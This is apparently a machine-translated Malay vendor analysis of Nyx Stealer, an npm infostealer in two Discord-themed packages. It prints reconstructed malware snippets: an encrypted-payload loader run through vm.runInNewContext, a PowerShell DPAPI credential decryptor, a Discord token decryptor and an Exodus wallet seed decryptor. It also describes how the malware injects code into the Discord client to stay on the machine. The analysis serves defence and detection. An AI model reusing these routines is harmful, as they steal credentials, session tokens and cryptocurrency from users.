Pencuri Maklumat npm

Penemuan Infostealer npm baharu: Nyx ​​Stealer Rampasan Sesi Discord

TL; DR

Pasukan Penyelidikan Keselamatan Xygeni mengenal pasti kempen pencuri maklumat npm yang canggih yang disampaikan melalui dua pakej berniat jahat: konsollofy dan selfbot-lofy.

Versi terkini (consolelofy@1.3.0) membenamkan muatan yang disulitkan AES 216KB yang dinyahsulit semasa masa jalan dan dilaksanakan melalui vm.runInNewContext()Oleh kerana logik berniat jahat disulitkan sepenuhnya, pengimbas statik yang bergantung pada pemeriksaan rentetan tidak dapat memerhatikan kelakuannya sehingga masa pelaksanaan.

Setelah dinyahsulit, muatan, yang dijenamakan secara dalaman Pencuri Nyx, sasaran:

  • Token pengesahan Discord
  • 50+ kedai kelayakan pelayar
  • 90+ sambungan dompet mata wang kripto
  • Sesi Roblox, Instagram, Spotify, Steam, Telegram dan TikTok
  • Kegigihan klien desktop Discord

Kesemua 20 versi merentasi kedua-dua pakej telah dilaporkan dan disahkan berniat jahat.

Gambaran Keseluruhan Teknikal npm Infostealer Ini

Tidak seperti perisian hasad masa pemasangan tradisional, kempen ini bergantung pada runtime model penyahsulitan.

Disana ada:

  • Tiada niat jahat preinstall or postinstall hooks
  • Tiada panggilan rangkaian masa pemasangan yang jelas
  • Tiada logik penuaian kelayakan teks biasa

Muatan diaktifkan apabila modul diimport. Seluruh badan hasad disulitkan dan hanya muncul dalam memori semasa masa jalan.

Reka bentuk ini khususnya mengelakkan pengesanan semasa pemasangan pakej.

Bagaimana Infostealer npm ini Sebenarnya Melaksanakan

Sebelum menganalisis apa yang dicuri oleh Nyx Stealer, kita perlu fahami bagaimana ia dilaksanakan.

Logik berniat jahat di dalam pencuri maklumat npm ini mengikuti corak yang konsisten:

Pemuat kecil menyahsulit muatan yang disulitkan dan melaksanakannya secara dinamik di dalam konteks VM Node.js.

Reka bentuk ini disengajakan. Penyerang tidak menyembunyikan fungsi di sebalik pengeliruan sahaja, mereka mengalih keluar kod berniat jahat daripada keterlihatan statik sepenuhnya.

Model Pelaksanaan Peringkat Tinggi

Pada tahap yang tinggi, pembalut melakukan empat perkara:

  • Memperoleh kunci AES daripada frasa laluan berkod keras menggunakan SHA-256
  • Menyahsulit teks sifer yang dikodkan heksadesimal yang besar menggunakan AES-256-CBC
  • Melaksanakan JavaScript yang dinyahsulit menggunakan vm.runInNewContext()
  • Menyediakan kotak pasir yang masih mendedahkan primitif runtime yang berkuasa

Ringkasan Teknik Teras

Komponen Konfigurasi / Nilai
Algoritma AES-256-CBC
Terbitan Utama SHA-256 (frasa laluan)
Vektor Permulaan (IV) 16 bait 0x00
Pelaksanaan vm.runInNewContext(dinyahsulit, kotak pasir)

Secara kritikal, kotak pasir melalui:

  • require
  • process
  • Buffer
  • pemasa
  • eksport modul

Ini bermakna muatan yang dinyahsulit mengekalkan keupayaan penuh untuk:

  • Proses pembiakan
  • Membaca dan menulis fail
  • Buat panggilan rangkaian
  • Ubah suai aplikasi setempat

Ini bukan VM terhad. Ia ialah VM yang digunakan sebagai trampolin pelaksanaan.

Corak Penyulitan Masa Jalan (Mekanisme Pelaksanaan Teras)

Pemuatnya kecil.
Badan yang berniat jahat itu tidak.

Berikut ialah corak pelaksanaan yang terdapat di dalam pakej:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Why This Matters

Muatan yang dinyahsulit:

  • Adakah tidak wujud dalam teks biasa di dalam pakej npm
  • Tidak kelihatan kepada orang yang mudah grep atau pengimbasan rentetan statik
  • Hanya terwujud dalam ingatan semasa masa jalan
  • Melaksanakan dengan keupayaan runtime Node penuh

Gabungan pelaksanaan AES + VM ini merupakan penunjuk tingkah laku yang kuat bagi Pencuri maklumat npm cuba mengelak pemeriksaan statik.

Dengan kata lain:

Jika anda mengimbas pokok sumber pakej, anda tidak akan melihat pencuri.
Anda nampak penyahsulit.

Apa yang Berlaku Selepas Penyahsulitan

Setelah dilaksanakan, Nyx Stealer melancarkan gelombang pengumpulan data selari.

Gelombang 1: Pengekstrakan Kredensial Pelayar

Perisian hasad:

  • Muat turun runtime Python daripada NuGet CDN
  • Memasang pustaka kriptografi
  • Mengekstrak stor kelayakan berasaskan Chromium
  • Menyahsulit rahsia yang dilindungi DPAPI

Daripada menyusun pengikatan asli, ia memanfaatkan PowerShell untuk memanggil Windows DPAPI secara langsung.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Pendekatan ini:

  • Mengelakkan artifak kompilasi
  • Menggunakan API kripto Windows asli
  • Campuran ke dalam perkakasan pentadbiran

Ia adalah penyahsulitan kelayakan peringkat OS, bukan pengikisan.

Gelombang 2: Penyahsulitan Token Discord

Pencuri itu sedar akan protokol. Ia memahami format token yang disulitkan oleh Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Aliran operasi:

  • Ekstrak kunci induk daripada Discord Local State
  • Nyahsulit kunci induk melalui DPAPI
  • Nyahsulit gumpalan token AES-GCM
  • Sahkan token terhadap API Discord
  • Perkaya dengan Nitro, lencana, maklumat pengebilan

Ini bukan lambakan kelayakan generik. Ia adalah rampasan sesi yang menyedari protokol.

Gelombang 3: Penyasaran Dompet Mata Wang Kripto

Pencuri maklumat npm menyenaraikan:

  • 90+ sambungan dompet pelayar
  • 27 dompet meja
  • Laluan dompet sejuk
  • Fail benih Exodus

Contoh percubaan penyahsulitan benih:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Jika berjaya, pencerobohan dompet akan berlaku serta-merta dan tidak dapat dipulihkan.

Ini mewakili vektor pengewangan bernilai tertinggi kempen.

Kegigihan melalui Suntikan Desktop Discord

Selepas memperoleh kelayakan, Nyx Stealer cuba gigih dengan mengubah suai setempat Perpecahan pelanggan.

Sasaran:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Urutan Operasi

Pencuri maklumat melakukan langkah-langkah berikut:

  • Menamatkan proses Discord yang sedang berjalan
  • Mengesan varian Discord yang dipasang (Stable, Canary, PTB)
  • Menulis ganti discord_desktop_core/index.js
  • Menyuntik logik webhook yang dikawal penyerang
  • Mulakan Semula Discord

Ini memastikan sesi Discord akan datang membocorkan token pengesahan baharu secara automatik.

Yang penting, kegigihan ini tidak bergantung pada tugasan berjadual atau pengubahsuaian pendaftaran. Ia memanfaatkan pengubahsuaian kod peringkat aplikasi, pendekatan yang lebih tersembunyi.

Walaupun pakej npm berniat jahat itu dialih keluar kemudian, klien Discord tetap terjejas.

Perbandingan Teknikal: Selfbot Sah vs npm Infostealer

Komponen Perpustakaan Sah Pencuri Maklumat Nyx npm
Penyulitan Tiada Muatan penuh yang disulitkan AES
VM Masa Jalan Tidak diperlukan vm.runInNewContext pelaksanaan
Akses Tauliah API Discord sahaja Pelayar, dompet, DPAPI
Muat Turun Luaran Tidak Masa jalan Python melalui NuGet
Kegigihan Tidak Suntikan klien Discord
pengewangan Automasi bot Jualan semula kelayakan

Lapisan penyulitan sahaja sudah memisahkan kempen ini daripada fork sumber terbuka biasa.

Bot kendiri Discord yang sah tidak mempunyai sebab untuk menyulitkan keseluruhan pangkalan kodnya, menghasilkan PowerShell untuk mengakses DPAPI, memuat turun masa jalan luaran atau mengubah suai dalaman aplikasi desktop. Apabila keupayaan tersebut muncul di dalam kebergantungan yang mendakwa mengautomasikan interaksi Discord, ketidakpadanan seni bina menjadi mustahil untuk diabaikan.

Dari sudut penyiasatan, pencuri maklumat npm ini meninggalkan kesan merentasi pelbagai lapisan. Walau bagaimanapun, penunjuk yang paling boleh dipercayai bukanlah URL yang dikodkan secara keras atau laluan fail tertentu, kerana URL tersebut boleh berubah antara versi. Sebaliknya, isyarat yang tahan lama adalah berstruktur.

Pada peringkat pakej, tanda amaran terkuat ialah gabungan muatan yang disulitkan dan pembalut penyahsulitan masa jalan yang segera dilaksanakan melalui vm.runInNewContext()Walaupun penyulitan sahaja tidak semestinya berniat jahat, penggunaan penyahsulitan AES diikuti dengan pelaksanaan VM dinamik di dalam pakej utiliti Discord adalah sangat anomali.

Di peringkat hos, corak yang mencurigakan termasuk aktiviti penyahsulitan DPAPI yang tidak dijangka, proses yang tercetus daripada konteks kebergantungan Node.js dan pengubahsuaian fail aplikasi setempat yang tidak sepatutnya diubah oleh pustaka pihak ketiga. Begitu juga, di lapisan rangkaian, komunikasi gaya webhook keluar yang dimulakan oleh kebergantungan pembangunan mewakili satu lagi anomali yang bermakna.

Dalam erti kata lain, permukaan pengesanan bukanlah satu-satunya petunjuk pencerobohan. Ia adalah korelasi penyulitan, pelaksanaan masa jalan, akses kelayakan dan tingkah laku kegigihan yang mendedahkan ancaman tersebut.

Pengesanan dan Mitigasi dengan Xygeni

Pencuri Maklumat npm

Pencuri maklumat npm ini telah dikenal pasti oleh Amaran Awal Perisian Hasad Xygeni (MEW) melalui korelasi tingkah laku berlapis dan bukannya padanan tandatangan yang mudah.

Daripada mencari rentetan berniat jahat yang diketahui, MEW menilai anomali struktur merentasi pokok sumber penuh. Dalam kes ini, pengesanan muncul daripada penumpuan beberapa isyarat: rutin penyahsulitan AES terbenam dalam titik masuk modul, pelaksanaan segera dalam konteks VM dan ketidakpadanan keupayaan-ke-niat yang jelas.

Yang penting, tiada satu pun daripada isyarat ini sahaja yang membuktikan niat jahat. Walau bagaimanapun, apabila dianalisis bersama, ia mendedahkan percubaan untuk menyembunyikan tingkah laku masa jalan. Pendekatan berlapis ini mengurangkan positif palsu dengan ketara sambil mengenal pasti ancaman rantaian bekalan berkeyakinan tinggi.

Tambahan pula, kes ini menggambarkan mengapa pemeriksaan masa pemasangan sahaja tidak mencukupi. Logik berniat jahat tidak berada dalam skrip kitaran hayat. Ia hanya diaktifkan selepas modul dimuatkan dan hanya kelihatan setelah dinyahsulit dalam memori. Oleh itu, pertahanan yang berkesan memerlukan analisis yang peka terhadap penyulitan, pengecaman corak tingkah laku dan pemantauan kebergantungan berterusan melangkaui peristiwa pemasangan.

Penyingkiran pendaftaran adalah reaktif. Analisis sedar masa jalan adalah pencegahan.

Mengapa Pencuri Maklumat npm Ini Penting

Nyx Stealer mewakili evolusi struktur dalam perisian hasad berasaskan npm.

Dari segi sejarah, banyak pakej berniat jahat bergantung pada skrip masa pemasangan yang boleh dilihat atau titik akhir pengekstrakan kelayakan yang jelas. Sebaliknya, kempen ini menyulitkan muatannya, menangguhkan pelaksanaan kepada masa jalan, memanfaatkan API sistem pengendalian yang sah dan mewujudkan kegigihan dalam aplikasi yang dipercayai.

Akibatnya, penyerang tidak perlu mengeksploitasi infrastruktur npm itu sendiri. Sebaliknya, serangan itu berjaya kerana pemasangan kebergantungan membayangkan kepercayaan. Pembangun menganggap bahawa mengimport pustaka adalah operasi yang selamat, terutamanya apabila ia menunjukkan dirinya sebagai cabang alat popular yang munasabah.

Apabila ekosistem terus berkembang dan fork berkembang biak, sempadan kepercayaan tersirat itu menjadi permukaan serangan yang semakin menarik. Oleh itu, mempertahankan diri daripada pencuri maklumat npm moden memerlukan pengecaman corak seni bina dan bukannya mencari rentetan statik.

Akhirnya, kempen ini mengukuhkan pengajaran penting dalam software supply chain securityAncaman yang paling berbahaya bukanlah ancaman yang kelihatan berniat jahat pada pandangan pertama, tetapi ancaman yang kelihatan sah dari segi struktur sehingga masa jalan mendedahkan tingkah laku sebenar mereka.

alat-analisis-komposisi-perisian-alat-sca
Utamakan, pulihkan dan lindungi risiko perisian anda
Dapatkan Akaun Percuma anda.
Tiada kad kredit yang diperlukan.

Lindungi Pembangunan dan Penghantaran Perisian Anda

dengan Suit Produk Xygeni